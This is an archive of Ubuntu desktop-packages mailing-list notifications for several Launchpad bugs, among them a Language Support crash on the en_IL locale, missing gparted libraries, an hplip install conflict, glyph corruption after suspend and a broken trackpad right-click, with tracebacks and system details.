return _parse_localename(localename)
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3.6/locale.py", line 490, in _parse_localename
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: raise
ValueError('unknown locale: %s' % localename)
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
ValueError: unknown locale: en_IL
ProblemType: Bug
DistroRelease: Ubuntu 18.04
Package: language-selector-gnome 0.188
ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
Uname: Linux 4.15.0-20-generic x86_64
NonfreeKernelModules: nvidia_modeset nvidia
ApportVersion: 2.20.9-0ubuntu7
Architecture: amd64
CurrentDesktop: ubuntu:GNOME
Date: Sun May 20 12:15:21 2018
InstallationDate: Installed on 2018-05-19 (0 days ago)
InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
PackageArchitecture: all
ProcEnviron:
PATH=(custom, no user)
XDG_RUNTIME_DIR=
LANG=en_IL
SHELL=/bin/bash
SourcePackage: language-selector
UpgradeStatus: No upgrade log present (probably fresh install)
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/language-selector/+bug/1772237/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe
[Desktop-packages] [Bug 1772317] [NEW] Missing dependency libgtkmm for gparted
Public bug reported: I did a minimal install of Ubuntu 18.04. Initially, although apt claimed that gparted was already installed, the binary didn't seem to exist. I removed it and reinstalled it, but it seems to be missing dependencies: Running "sudo gparted": /usr/sbin/gpartedbin: error while loading shared libraries: libgtkmm-2.4.so.1: cannot open shared object file: No such file or directory Running "sudo apt-get install -f": 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. I had to remove libgtkmm-2.4-1v5, which also removed gparted, and then reinstall gparted, which seems to have correctly installed the libgtkmm-2.4-1v5 library. I had to do something similar with libatkmm-1.6-1v5, libpangomm-1.4-1v5, libglibmm-2.4-1v5. Doing this seems to fix it: sudo apt-get install --reinstall libcairomm-1.0-1v5 libglibmm-2.4-1v5 libsigc++-2.0-0v5 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1772317 Title: Missing dependency libgtkmm for gparted Status in xorg package in Ubuntu: New Bug description: I did a minimal install of Ubuntu 18.04. Initially, although apt claimed that gparted was already installed, the binary didn't seem to exist. I removed it and reinstalled it, but it seems to be missing dependencies: Running "sudo gparted": /usr/sbin/gpartedbin: error while loading shared libraries: libgtkmm-2.4.so.1: cannot open shared object file: No such file or directory Running "sudo apt-get install -f": 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. I had to remove libgtkmm-2.4-1v5, which also removed gparted, and then reinstall gparted, which seems to have correctly installed the libgtkmm-2.4-1v5 library. I had to do something similar with libatkmm-1.6-1v5, libpangomm-1.4-1v5, libglibmm-2.4-1v5. Doing this seems to fix it: sudo apt-get install --reinstall libcairomm-1.0-1v5 libglibmm-2.4-1v5 libsigc++-2.0-0v5 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1772317/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1772004] Re: package libsane-hpaio 3.17.10+repack0-5 [modified: usr/share/hplip/data/models/models.dat] failed to install/upgrade: trying to overwrite shared '/usr/share/hplip/
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: hplip (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to hplip in Ubuntu. https://bugs.launchpad.net/bugs/1772004 Title: package libsane-hpaio 3.17.10+repack0-5 [modified: usr/share/hplip/data/models/models.dat] failed to install/upgrade: trying to overwrite shared '/usr/share/hplip/data/models/models.dat', which is different from other instances of package libsane-hpaio:i386 Status in hplip package in Ubuntu: Confirmed Bug description: There was no contact to scanner and I don't know, wether installig was successfull. ProblemType: Package DistroRelease: Ubuntu 18.04 Package: libsane-hpaio 3.17.10+repack0-5 [modified: usr/share/hplip/data/models/models.dat] ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CupsErrorLog: E [18/May/2018:10:50:34 +0200] [cups-deviced] PID 2102 (gutenprint52+usb) stopped with status 1! E [18/May/2018:13:22:36 +0200] [cups-deviced] PID 1773 (gutenprint52+usb) stopped with status 1! Date: Fri May 18 13:27:04 2018 DuplicateSignature: package:libsane-hpaio:3.17.10+repack0-5 [modified: usr/share/hplip/data/models/models.dat] Unpacking libperl5.26:i386 (5.26.1-6) ... dpkg: error processing archive /tmp/apt-dpkg-install-R8zaBp/30-libperl5.26_5.26.1-6_i386.deb (--unpack): trying to overwrite shared '/usr/share/doc/libperl5.26/changelog.Debian.gz', which is different from other instances of package libperl5.26:i386 ErrorMessage: trying to overwrite shared '/usr/share/hplip/data/models/models.dat', which is different from other instances of package libsane-hpaio:i386 InstallationDate: Installed on 2018-05-13 (5 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Lpstat: device for HP-Deskjet-1510-series: hp:/usb/Deskjet_1510_series?serial=CN3AD1HMBD05YR MachineType: HP HP Laptop 15-bs0xx Papersize: a4 PpdFiles: HP-Deskjet-1510-series: HP Deskjet 1510 Series, hpcups 3.17.11 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-20-generic root=UUID=b8a33649-d2ca-4387-935e-f6ff3fb1007f ro quiet splash vt.handoff=1 Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3 PythonDetails: /root/Error: command ['which', 'python'] failed with exit code 1:, Error: [Errno 2] Nincs ilyen fájl vagy könyvtár: "/root/Error: command ['which', 'python'] failed with exit code 1:": "/root/Error: command ['which', 'python'] failed with exit code 1:", unpackaged RelatedPackageVersions: dpkg 1.19.0.5ubuntu2 apt 1.6.1 SourcePackage: hplip Title: package libsane-hpaio 3.17.10+repack0-5 [modified: usr/share/hplip/data/models/models.dat] failed to install/upgrade: trying to overwrite shared '/usr/share/hplip/data/models/models.dat', which is different from other instances of package libsane-hpaio:i386 UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 11/01/2017 dmi.bios.vendor: Insyde dmi.bios.version: F.31 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: 832A dmi.board.vendor: HP dmi.board.version: 23.45 dmi.chassis.asset.tag: Chassis Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: HP dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnInsyde:bvrF.31:bd11/01/2017:svnHP:pnHPLaptop15-bs0xx:pvrType1ProductConfigId:rvnHP:rn832A:rvr23.45:cvnHP:ct10:cvrChassisVersion: dmi.product.family: 103C_5335KV HP Notebook dmi.product.name: HP Laptop 15-bs0xx dmi.product.version: Type1ProductConfigId dmi.sys.vendor: HP mtime.conffile..etc.hp.hplip.conf: 2018-05-18T10:46:18.852174 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/hplip/+bug/1772004/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1547077] Re: Suspend to ram causes some glyphs to draw consistently wrong or even appear blank in gtk/gdk/pango/cairo apps. xterm/xmessage unaffected.
** Description changed: # Summary * Some glyphs badly drawn at some moments. * When happens, same glyph drawn on various windows shows same corruption. * Problem comes and go. - - Cannot use nvidia proprietary driver as a workaround (does not work at - all). # Context Laptop, using "intel" (or "nouveau" ?) driver. Expected: all glyphs rendered correctly. Observed: some glyphs not rendered correctly * reproducible: sometimes, eventually. Problem comes and go, severity varies from one glyph (see 2016y02m17d_18h08m27s_0100Z_x_bug_glyph_firefox_gnome_org.png ) to all text on screen fully unreadable (see 2016y02m10d_18h42m18s_0100Z_wow_screen_flickers_and_most_glyphs_wrong_01.png ) * *some* glyphs are affected. For example, letter 'a' of a certain size will be replaced by colored garbage at many places where it appears (see 2016y02m18d_16h05m35s_0100Z_same_corruption_on_different_windows.png ), but other 'a' with different size, italic, bold, etc will be unaffected. * in some applications (e.g. xfce whisker menu), some glyphs are rendered correctly or not depending on the direction of mouse hovering. See video 2016y02m16d_21h41m14s_0100Z_whisker_menu_missing_glyphs.mp4 . * in menu of gtk application, some glyphs are "fixed" by opening the menu, but not all. For example, in xfce4-terminal, letter A of "Affichage" and its menu content as well as "Aide" is affected. Opening "Affichage" menu does not fix anything. Opening "Aide" menu fixes the "A" of "Aide". Changing window size reactivates the bug on "A" or "Aide". See video 2016y02m18d_16h14m25s_0100Z_glyph-redrawn-bug.mp4 . * text under icons on desktop is affected, but shadows are not. See 2016y02m16d_21h32m11s_0100Z_x_bug_reenabling_antialias_reactivates_problem_shadow_unaffected.png # Affected applications * xfce whisker menu, * xfce4-terminal (nealy all screenshots) * firefox (see 2016y02m17d_18h08m27s_0100Z_x_bug_glyph_firefox_gnome_org.png 2016y02m16d_21h32m11s_0100Z_x_bug_reenabling_antialias_reactivates_problem_shadow_unaffected.png ), * thunderbird (see 2016y02m16d_21h28m35s_0100Z_x_bug_affects_thunderbird_terminal.png ), * emacs (see 2016y02m10d_18h41m49s_0100Z_wow_screen_flickers_and_most_glyphs_wrong_00.png and subsequent ), * superswitcher ( a gtk/gdk app) * *NOT* affected: xterm, xmessage. Perhaps only gtk/gdk/pango/cairo apps are affected. # Additional information This looks like a cache corruption somewhere. On IRC #pango, someone suggested a bug in Intel driver. Running `xfce4-appearance-settings` and there changing any of: * antialiasing enable/disable, * hinting strength, * subpixel alignment * or dpi immediately cures the bug (see 2016y02m16d_21h31m52s_0100Z_x_bug_disabling_antialias_immediately_cures_problem.png ) Setting back the exact same parameters immediately reactivates the bug (see 2016y02m16d_21h32m11s_0100Z_x_bug_reenabling_antialias_reactivates_problem_shadow_unaffected.png). It is believed that keeping any new settings for a while will have the bug reoccur. It is not like bug 1536751. That one affects rendering quality of *all* glyphs, at all times, depending on dpi. This is not the case here: *some* glyphs (randomly chosen) are drawn corrupted (replaced by garbage or absent), not always. + Using the nvidia proprietary driver 361.42 isn't a WORKAROUND as it causes black screen on boot as per: + https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1575907 + --- ApportVersion: 2.20-0ubuntu3 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: XFCE DistUpgraded: Fresh install DistroCodename: xenial DistroRelease: Ubuntu 16.04 DistroVariant: ubuntu DkmsStatus: virtualbox, 5.0.14, 4.4.0-8-generic, x86_64: installed ExtraDebuggingInterest: Yes, including running git bisection searches GraphicsCard: Intel Corporation 4th Gen Core Processor Integrated Graphics Controller [8086:0416] (rev 06) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. 4th Gen Core Processor Integrated Graphics Controller [1043:177d] Subsystem: ASUSTeK Computer Inc. GM107M [GeForce GTX 850M] [1043:177d] InstallationDate: Installed on 2016-02-03 (26 days ago) InstallationMedia: Xubuntu 16.04 LTS "Xenial Xerus" - Alpha amd64 (20160203) MachineType: ASUSTeK COMPUTER INC. N551JK Package: xorg 1:7.7+13ubuntu1 PackageArchitecture: amd64 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-7-generic.efi.signed root=UUID=1a4f1bb3-67a8-4e9e-ba71-e9a2741c04a8 ro quiet splash vt.handoff=7 ProcVersionSignature: Ubuntu 4.4.0-7.22-generic 4.4.2 Tags: xenial ubuntu regression reproducible has-workaround Uname: Linux 4.4.0-7-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashar
[Desktop-packages] [Bug 1553554] Re: Selecting nvidia driver using software-properties-gtk yields package nvidia-361 361.28-0ubuntu1 failed to install/upgrade: subprocess installed post-installation s
Closing as package was updated since then, and original reporter noted issue scoped to this report no longer occurs as per https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1575907 . ** Changed in: nvidia-graphics-drivers-361 (Ubuntu) Status: Triaged => Invalid ** Changed in: nvidia-graphics-drivers-361 (Ubuntu) Assignee: Kesantielu (dasefern) => (unassigned) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nvidia-graphics-drivers-361 in Ubuntu. https://bugs.launchpad.net/bugs/1553554 Title: Selecting nvidia driver using software-properties-gtk yields package nvidia-361 361.28-0ubuntu1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 30 Status in nvidia-graphics-drivers-361 package in Ubuntu: Invalid Bug description: Similar to https://bugs.launchpad.net/ubuntu/+source/bbswitch/+bug/1552108 https://bugs.launchpad.net/ubuntu/+source/nvidia-graphics-drivers-352/+bug/1552109 This happened when trying a workaround to https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1547077 ProblemType: Package DistroRelease: Ubuntu 16.04 Package: nvidia-361 361.28-0ubuntu1 ProcVersionSignature: Ubuntu 4.4.0-9.24-generic 4.4.3 Uname: Linux 4.4.0-9-generic x86_64 ApportVersion: 2.20-0ubuntu3 Architecture: amd64 Date: Sat Mar 5 19:23:21 2016 ErrorMessage: subprocess installed post-installation script returned error exit status 30 InstallationDate: Installed on 2016-02-03 (30 days ago) InstallationMedia: Xubuntu 16.04 LTS "Xenial Xerus" - Alpha amd64 (20160203) RelatedPackageVersions: dpkg 1.18.4ubuntu1 apt 1.2.4 SourcePackage: nvidia-graphics-drivers-361 Title: package nvidia-361 361.28-0ubuntu1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 30 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nvidia-graphics-drivers-361/+bug/1553554/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1547077] Re: Suspend to ram causes some glyphs to draw consistently wrong or even appear blank in gtk/gdk/pango/cairo apps. xterm/xmessage unaffected.
gouri, to see if this is resolved in your release, could you please update your HWE stack as per https://wiki.ubuntu.com/Kernel/LTSEnablementStack and advise to the results? ** Attachment removed: "panel-corrupted.png" https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1547077/+attachment/4690163/+files/panel-corrupted.png ** Attachment removed: "What the panel should look like." https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1547077/+attachment/4690186/+files/panel.png ** Attachment removed: "CurrentDmesg.txt" https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1547077/+attachment/4690187/+files/CurrentDmesg.txt ** Attachment removed: "Dependencies.txt" https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1547077/+attachment/4690188/+files/Dependencies.txt ** Attachment removed: "DpkgLog.txt" https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1547077/+attachment/4690189/+files/DpkgLog.txt ** Attachment removed: "GconfCompiz.txt" https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1547077/+attachment/4690190/+files/GconfCompiz.txt ** Attachment removed: "JournalErrors.txt" https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1547077/+attachment/4690191/+files/JournalErrors.txt ** Attachment removed: "Lspci.txt" https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1547077/+attachment/4690192/+files/Lspci.txt ** Attachment removed: "MonitorsUser.xml.txt" https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1547077/+attachment/4690194/+files/MonitorsUser.xml.txt ** Attachment removed: "Lsusb.txt" https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1547077/+attachment/4690193/+files/Lsusb.txt ** Attachment removed: "ProcCpuinfo.txt" https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1547077/+attachment/4690195/+files/ProcCpuinfo.txt ** Attachment removed: "ProcEnviron.txt" https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1547077/+attachment/4690196/+files/ProcEnviron.txt ** Attachment removed: "ProcInterrupts.txt" https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1547077/+attachment/4690197/+files/ProcInterrupts.txt ** Attachment removed: "ProcModules.txt" https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1547077/+attachment/4690198/+files/ProcModules.txt ** Attachment removed: "UdevDb.txt" https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1547077/+attachment/4690199/+files/UdevDb.txt ** Attachment removed: "XorgLog.txt" https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1547077/+attachment/4690200/+files/XorgLog.txt ** Attachment removed: "XorgLogOld.txt" https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1547077/+attachment/4690201/+files/XorgLogOld.txt ** Attachment removed: "Xrandr.txt" https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1547077/+attachment/4690202/+files/Xrandr.txt ** Attachment removed: "xdpyinfo.txt" https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1547077/+attachment/4690203/+files/xdpyinfo.txt ** Changed in: xorg (Ubuntu) Status: Triaged => Incomplete -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1547077 Title: Suspend to ram causes some glyphs to draw consistently wrong or even appear blank in gtk/gdk/pango/cairo apps. xterm/xmessage unaffected. Status in xorg package in Ubuntu: Incomplete Bug description: # Summary * Some glyphs badly drawn at some moments. * When happens, same glyph drawn on various windows shows same corruption. * Problem comes and go. # Context Laptop, using "intel" (or "nouveau" ?) driver. Expected: all glyphs rendered correctly. Observed: some glyphs not rendered correctly * reproducible: sometimes, eventually. Problem comes and go, severity varies from one glyph (see 2016y02m17d_18h08m27s_0100Z_x_bug_glyph_firefox_gnome_org.png ) to all text on screen fully unreadable (see 2016y02m10d_18h42m18s_0100Z_wow_screen_flickers_and_most_glyphs_wrong_01.png ) * *some* glyphs are affected. For example, letter 'a' of a certain size will be replaced by colored garbage at many places where it appears (see 2016y02m18d_16h05m35s_0100Z_same_corruption_on_different_windows.png ), but other 'a' with different size, italic, bold, etc will be unaffected. * in some applications (e.g. xfce whisker menu), some glyphs are rendered correctly or not depending on the direction of mouse hovering. See video 2016y02m16d_21h41m14s_0100Z_whisker_menu_missing_glyphs.mp4 . * in menu of gtk application, some glyphs are "fixed" by opening the menu, but not all. For example, in xfce4-terminal, letter A of "Affichage" and its menu content as well as "Aide" is affected. Opening "Affichage" menu does not fix anything. Opening "Aide" menu fixes the "A" of "Aide". Changing window size reactivates the bug on "A" or "Aide". See video 2016y02m18d_16h14m25s_0100Z_glyph-redrawn- bug.mp4 . * tex
[Desktop-packages] [Bug 1761834] Re: Right-click doesn't work
I just wanted to add two new notes to this bug report: 1. When I reported it, I was using a beta of 18.04, right-click didn't work either by clicking on the area of the trackpad that is supposed to be reserved for right-click or by using two-finger click. The former is still true in the full released version, but the later seems to be fixed, albeit, it is quite difficult and requires very precise timing and finger spacing to achieve a right-click (I get a successful right- click with two fingers about 20% of the time). 2. I have done a clean install on a different laptop with completely different hardware, and I am seeing exactly the same problem. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1761834 Title: Right-click doesn't work Status in xorg package in Ubuntu: Confirmed Bug description: I decided to try out the beta for 18.04 from 17.10. Upon upgrading, I discovered that right-clicking no longer works on my trackpad, and right-clicks are handled as left-clicks would be. Two-finger right click does not work either. If I plug in a mouse with a physical right button, right clicking does work. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu6 ProcVersionSignature: Ubuntu 4.15.0-13.14-generic 4.15.10 Uname: Linux 4.15.0-13-generic x86_64 ApportVersion: 2.20.9-0ubuntu2 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: GNOME Date: Fri Apr 6 11:26:00 2018 DistUpgraded: 2018-04-06 11:14:08,949 DEBUG Running PostInstallScript: './xorg_fix_proprietary.py' DistroCodename: bionic DistroVariant: ubuntu DkmsStatus: bbswitch, 0.8, 4.14.15-041415-generic, x86_64: installed bbswitch, 0.8, 4.15.0-13-generic, x86_64: installed ExtraDebuggingInterest: Yes GraphicsCard: Intel Corporation HD Graphics 530 [8086:191b] (rev 06) (prog-if 00 [VGA controller]) Subsystem: Dell HD Graphics 530 [1028:06e4] Subsystem: Dell GM107M [GeForce GTX 960M] [1028:06e4] InstallationDate: Installed on 2017-05-04 (337 days ago) InstallationMedia: Ubuntu 16.10 "Yakkety Yak" - Release amd64 (20161012.2) MachineType: Dell Inc. XPS 15 9550 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-13-generic root=UUID=62d6bfc3-82e2-4ca2-9255-8dae5ad9b117 ro quiet splash vt.handoff=1 SourcePackage: xorg UpgradeStatus: Upgraded to bionic on 2018-04-06 (0 days ago) dmi.bios.date: 08/21/2017 dmi.bios.vendor: Dell Inc. dmi.bios.version: 1.4.0 dmi.board.name: 0N7TVV dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 9 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr1.4.0:bd08/21/2017:svnDellInc.:pnXPS159550:pvr:rvnDellInc.:rn0N7TVV:rvrA00:cvnDellInc.:ct9:cvr: dmi.product.family: To be filled by O.E.M. dmi.product.name: XPS 15 9550 dmi.sys.vendor: Dell Inc. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.91-2 version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.0~rc5-1ubuntu1 version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.0~rc5-1ubuntu1 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu3 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.5-1ubuntu1 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1761834/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1772237] Re: Language support quits immediately after starting
** Description changed:
+ [Impact]
+
+ When Ubuntu is installed with a locale name which Python does not
+ understand, e.g. en_IL, Language Support crashes when you try to launch
+ it. This is really a bug which should be fixed in the installer (bug
+ #1646260). Awaiting the installer fix, this proposed upload prevents
+ that Language Support crashes.
+
+ [Test Case]
+
+ 1. Make sure that no ~/.xinputrc file is present.
+
+ 2. Start Language Support from terminal using this command:
+
+LANG=en_IL gnome-language-selector
+
+ -> Find that you have reproduced the crash.
+
+ 3. Install language-selector-gnome and language-selector-common from
+bionic-proposed and repeat step 2.
+
+ -> Language Support starts without crashing.
+
+ [Regression Potential]
+
+ None.
+
+ [Original description]
+
When I click on Language Support from the applications menu, it starts,
shows a progress bar, and then immediately quits.
I do not see the crash report window open (Apport), but something seems
to crash. Here is what is appended to the syslog when the phenomenon
happens:
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: Traceback
(most recent call last):
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/bin/gnome-language-selector", line 22, in on_activate
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
options=options)
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3/dist-packages/LanguageSelector/gtk/GtkLanguageSelector.py",
line 202, in __init__
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
self.check_input_methods()
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3/dist-packages/LanguageSelector/gtk/GtkLanguageSelector.py",
line 57, in wrapper
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: res =
f(*args, **kwargs)
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3/dist-packages/LanguageSelector/gtk/GtkLanguageSelector.py",
line 453, in check_input_methods
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
currentIM = self.ImConfig.getCurrentInputMethod()
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3/dist-packages/LanguageSelector/ImConfig.py", line 39, in
getCurrentInputMethod
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: loc =
locale.getlocale(locale.LC_CTYPE)[0]
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3.6/locale.py", line 581, in getlocale
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
return _parse_localename(localename)
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3.6/locale.py", line 490, in _parse_localename
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: raise
ValueError('unknown locale: %s' % localename)
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
ValueError: unknown locale: en_IL
ProblemType: Bug
DistroRelease: Ubuntu 18.04
Package: language-selector-gnome 0.188
ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
Uname: Linux 4.15.0-20-generic x86_64
NonfreeKernelModules: nvidia_modeset nvidia
ApportVersion: 2.20.9-0ubuntu7
Architecture: amd64
CurrentDesktop: ubuntu:GNOME
Date: Sun May 20 12:15:21 2018
InstallationDate: Installed on 2018-05-19 (0 days ago)
InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
PackageArchitecture: all
ProcEnviron:
- PATH=(custom, no user)
- XDG_RUNTIME_DIR=
- LANG=en_IL
- SHELL=/bin/bash
+ PATH=(custom, no user)
+ XDG_RUNTIME_DIR=
+ LANG=en_IL
+ SHELL=/bin/bash
SourcePackage: language-selector
UpgradeStatus: No upgrade log present (probably fresh install)
** Changed in: language-selector (Ubuntu)
Status: Triaged => Fix Committed
** Changed in: language-selector (Ubuntu)
Assignee: (unassigned) => Gunnar Hjalmarsson (gunnarhj)
** Changed in: language-selector (Ubuntu Bionic)
Status: Triaged => In Progress
** Changed in: language-selector (Ubuntu Bionic)
Assignee: (unassigned) => Gunnar Hjalmarsson (gunnarhj)
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to language-selector in Ubuntu.
https://bugs.launchpad.net/bugs/1772237
Title:
Language support quits immediately after starting
Status in language-selector package in Ubuntu:
Fix Committed
Status in language-selector source package in Bionic:
In Progress
Bug description:
[Impact]
When Ubuntu is installed with a locale name which Python does not
understand, e.g. en_IL, Language Support crashes when you try to
launch it. This is really a bug which should be fixe
[Desktop-packages] [Bug 1547077] Re: Suspend to ram causes some glyphs to draw consistently wrong or even appear blank in gtk/gdk/pango/cairo apps. xterm/xmessage unaffected.
To add to my latest comment where I report that problem reappeared a few times in recent days: same hardware, same usage pattern, on the very re- installation of 16.04 that had the problem disappear (cf. #comment:77). Software updates applied regularly since the last near-2-years. Nothing salient would explain that, besides maybe a regression that came with a software update? -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1547077 Title: Suspend to ram causes some glyphs to draw consistently wrong or even appear blank in gtk/gdk/pango/cairo apps. xterm/xmessage unaffected. Status in xorg package in Ubuntu: Triaged Bug description: # Summary * Some glyphs badly drawn at some moments. * When happens, same glyph drawn on various windows shows same corruption. * Problem comes and go. Cannot use nvidia proprietary driver as a workaround (does not work at all). # Context Laptop, using "intel" (or "nouveau" ?) driver. Expected: all glyphs rendered correctly. Observed: some glyphs not rendered correctly * reproducible: sometimes, eventually. Problem comes and go, severity varies from one glyph (see 2016y02m17d_18h08m27s_0100Z_x_bug_glyph_firefox_gnome_org.png ) to all text on screen fully unreadable (see 2016y02m10d_18h42m18s_0100Z_wow_screen_flickers_and_most_glyphs_wrong_01.png ) * *some* glyphs are affected. For example, letter 'a' of a certain size will be replaced by colored garbage at many places where it appears (see 2016y02m18d_16h05m35s_0100Z_same_corruption_on_different_windows.png ), but other 'a' with different size, italic, bold, etc will be unaffected. * in some applications (e.g. xfce whisker menu), some glyphs are rendered correctly or not depending on the direction of mouse hovering. See video 2016y02m16d_21h41m14s_0100Z_whisker_menu_missing_glyphs.mp4 . * in menu of gtk application, some glyphs are "fixed" by opening the menu, but not all. For example, in xfce4-terminal, letter A of "Affichage" and its menu content as well as "Aide" is affected. Opening "Affichage" menu does not fix anything. Opening "Aide" menu fixes the "A" of "Aide". Changing window size reactivates the bug on "A" or "Aide". See video 2016y02m18d_16h14m25s_0100Z_glyph-redrawn- bug.mp4 . * text under icons on desktop is affected, but shadows are not. See 2016y02m16d_21h32m11s_0100Z_x_bug_reenabling_antialias_reactivates_problem_shadow_unaffected.png # Affected applications * xfce whisker menu, * xfce4-terminal (nealy all screenshots) * firefox (see 2016y02m17d_18h08m27s_0100Z_x_bug_glyph_firefox_gnome_org.png 